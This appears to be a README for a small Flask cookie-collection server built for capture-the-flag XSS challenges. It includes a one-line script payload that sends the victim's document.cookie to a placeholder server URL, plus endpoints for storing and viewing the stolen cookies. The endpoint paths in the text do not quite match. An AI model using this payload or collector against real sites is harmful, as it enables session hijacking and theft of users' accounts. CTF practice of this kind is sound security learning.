A simple echo server built with flask for CTF
Removed options; Just minimal echo server left.
Farm and view cookies fast!
Sending a request to /c?c=COOKIE adds COOKIE to cookie.txt in the same directory with echo.py.
The following script sends all the accessible cookies in the current document to the server(Can be used in XSS challenges).
<script>location.href = "SERVER_URL/cookie?c=" + document.cookie;</script>Open a browser and go to /v and view collected cookies.
The screenshot above is the result after I sent C00K1E-M0n$T3R!!! three times.
